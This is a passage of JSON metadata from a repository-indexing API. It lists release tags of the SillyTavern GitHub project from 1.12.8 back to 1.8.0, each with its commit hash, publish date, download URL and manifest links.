_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.8/manifests"},{"name":"1.12.7","sha":"da18b5e85d1ebc1f2834c3422b7946b98447f625","kind":"commit","published_at":"2024-10-26T13:44:52.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.7","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.7/manifests"},{"name":"1.12.6","sha":"648e70b8c6ae10052c2e28d164390ff50846777a","kind":"commit","published_at":"2024-09-24T17:31:07.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.6","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.6/manifests"},{"name":"1.12.5","sha":"2428c3979fe6dee360426b72fe6aa88e46091dd8","kind":"commit","published_at":"2024-08-24T14:59:41.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.5","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.5/manifests"},{"name":"1.12.4","sha":"2cd51819e806ba59a900aa77cf0e362d980ab921","kind":"commit","published_at":"2024-07-27T18:56:10.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.4/manifests"},{"name":"1.12.3","sha":"6e86ab07dde6fb663b50616ff84f7a54d1a3c186","kind":"commit","published_at":"2024-07-03T09:26:53.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.3/manifests"},{"name":"1.12.2","sha":"6eb74cb7157b3600360c8e90528419341e214f30","kind":"commit","published_at":"2024-06-30T15:22:35.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.2/manifests"},{"name":"1.12.1","sha":"f05d90bada1434fc540b733a6e04f231ed54ec3e","kind":"commit","published_at":"2024-06-08T15:45:16.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.1/manifests"},{"name":"1.12.0-6","sha":"db2c9a9926abba2688e6df9b11e194194a4db41e","kind":"commit","published_at":"2024-05-20T20:50:34.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.0-6","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.0-6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.0-6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.0-6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.0-6/manifests"},{"name":"1.12.0","sha":"53496d70f1cfca7891d75058e8be39999ea67657","kind":"commit","published_at":"2024-05-19T13:45:57.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.0/manifests"},{"name":"1.12.0-preview","sha":"80ff8383fe4688f7deb8de69d706a56ce219f79e","kind":"commit","published_at":"2024-04-21T19:36:28.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.0-preview","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.0-preview","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.0-preview","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.0-preview","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.0-preview/manifests"},{"name":"1.11.8","sha":"47b656260595967ad70b749845f7b5b33ed3631c","kind":"commit","published_at":"2024-04-21T18:24:12.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.8","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.8/manifests"},{"name":"1.11.7","sha":"13762470b032c01fe6777a9331fb08387de3632b","kind":"commit","published_at":"2024-04-06T12:30:02.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.7","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.7/manifests"},{"name":"1.11.6","sha":"f121d1da564c6402750683d36b02365631cf04ac","kind":"commit","published_at":"2024-03-16T14:35:32.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.6","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.6/manifests"},{"name":"1.11.5","sha":"6f5dbc2a52b3e6371bb2bfacd433905db60a1684","kind":"commit","published_at":"2024-02-27T19:11:16.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.5","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.5/manifests"},{"name":"1.11.4-1","sha":"2d152d2705408f0ad635de9705c0ae70d06b4331","kind":"commit","published_at":"2024-02-11T13:38:41.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.4-1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.4-1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.4-1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.4-1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.4-1/manifests"},{"name":"1.11.4","sha":"91f31e746ee2f0c1e31f852facff64e00205729c","kind":"commit","published_at":"2024-02-10T19:24:42.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.4/manifests"},{"name":"1.11.3","sha":"593129175b9c3a972e084869cd94be5c83ee4593","kind":"commit","published_at":"2024-02-04T18:42:21.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.3/manifests"},{"name":"1.11.2","sha":"5f5c066373b0b41ddf42ce1d50e4fe20201a88b1","kind":"commit","published_at":"2024-01-14T18:52:10.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.2/manifests"},{"name":"1.11.1","sha":"736223a86acfd9919c707bd09c3ebc02a8ab00fd","kind":"commit","published_at":"2023-12-23T18:47:48.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.1/manifests"},{"name":"1.11.0","sha":"f43d738dfd10b9430130ec1bd2805aac02c6ecf0","kind":"commit","published_at":"2023-12-09T17:59:49.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.0/manifests"},{"name":"1.10.10","sha":"74e5e0e4c0f800651fea7c57604158f552435393","kind":"commit","published_at":"2023-11-26T18:38:50.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.10","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.10/manifests"},{"name":"1.10.9","sha":"7bf62b3dad1c63ae0255d6c18e520ba97210d9ab","kind":"commit","published_at":"2023-11-12T23:52:46.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.9","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.9/manifests"},{"name":"1.10.8","sha":"09ebbff30d47206bd020a5a6f3f0f2531d112266","kind":"commit","published_at":"2023-11-11T14:51:08.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.8","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.8/manifests"},{"name":"1.10.7","sha":"9be3645152dab9d5b5062fa0546389aedca71d13","kind":"commit","published_at":"2023-10-27T10:26:43.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.7","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.7/manifests"},{"name":"1.10.6","sha":"b4c7bb1f7b9ed38358d61c9b9d3a78ac7e9d6b85","kind":"commit","published_at":"2023-10-26T15:44:18.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.6","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.6/manifests"},{"name":"1.10.5","sha":"c9c4f3063704c9c447466575b9831a6de368f31a","kind":"commit","published_at":"2023-10-08T18:08:26.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.5","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.5/manifests"},{"name":"1.10.4","sha":"565327fe1ef5a3eb16cd1b9ce28b9620962a3cda","kind":"commit","published_at":"2023-09-22T20:07:52.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.4/manifests"},{"name":"1.10.3","sha":"2b3055a84adee50a55c97c20f9ca8d6ff061c28d","kind":"commit","published_at":"2023-09-15T11:56:15.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.3/manifests"},{"name":"1.10.2","sha":"3830347d81d4e75d5e2a266f12888416f2e4a0f1","kind":"commit","published_at":"2023-09-06T13:06:23.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.2/manifests"},{"name":"1.10.1","sha":"500994e05165359245e7e884fb8155870448d2d9","kind":"commit","published_at":"2023-09-06T11:50:25.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.1/manifests"},{"name":"1.10.0","sha":"eb8d4b1f63d7ff9580214265faf431de95fa2186","kind":"commit","published_at":"2023-08-29T17:27:55.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.0/manifests"},{"name":"1.9.7","sha":"e4d1463a22554fa5406e806ebb3c2e2c96891143","kind":"commit","published_at":"2023-08-10T09:50:02.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.9.7","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.9.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.9.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.7/manifests"},{"name":"1.9.6","sha":"9b5e082a265ca1081932bef1ff85b8d0ccfeabd8","kind":"commit","published_at":"2023-08-08T20:29:35.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.9.6","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.9.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.9.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.6/manifests"},{"name":"1.9.5","sha":"6c909acea617724d6165566ed27a89242ac966cf","kind":"commit","published_at":"2023-08-08T19:54:20.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.9.5","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.9.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.9.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.5/manifests"},{"name":"1.9.4","sha":"29d841a50b89fe10cbbfa7b22c6f82b1dc7cf096","kind":"commit","published_at":"2023-07-31T09:54:49.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.9.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.9.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.9.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.4/manifests"},{"name":"1.9.3","sha":"675cabb7e30faf4931614175af2f4a8afcf042d3","kind":"commit","published_at":"2023-07-29T19:58:58.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.9.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.9.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.9.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.3/manifests"},{"name":"1.9.2","sha":"ef3c8a19fe5ec487af029608377636f8c892ff9c","kind":"commit","published_at":"2023-07-22T11:19:32.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.9.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.2/manifests"},{"name":"1.9.1","sha":"ef8a6d61279f19eb866acbfb54a5097bf342cc6e","kind":"commit","published_at":"2023-07-21T16:18:04.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.9.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.1/manifests"},{"name":"1.9.0","sha":"06912dba0ae7b1df7d75dbe1da52a7e5ab7471ba","kind":"commit","published_at":"2023-07-20T11:25:38.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.9.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.0/manifests"},{"name":"1.8.4","sha":"e3e2b73b99de7139b61a2c253397cf0230ca444f","kind":"commit","published_at":"2023-07-19T08:53:12.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.8.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.8.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.8.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.4/manifests"},{"name":"1.8.3","sha":"243e89091a78d5c31d7773473d57197613dc428a","kind":"commit","published_at":"2023-07-07T09:26:49.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.8.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.3/manifests"},{"name":"1.8.2","sha":"aed6e3413accb8037bb776672ee7cebecca23a59","kind":"commit","published_at":"2023-07-05T13:11:55.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.8.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.2/manifests"},{"name":"1.8.1","sha":"c922f17f092da5f5cfa1dc786b6f31ecf1c4444c","kind":"commit","published_at":"2023-07-04T08:49:46.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.8.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.1/manifests"},{"name":"1.8.0","sha":"d6fd5455e6a21cb35b3d6ba1408d8575bd5e9e15","kind":"commit","published_at":"2023-07-03T16:23:26.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.8.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.0/ma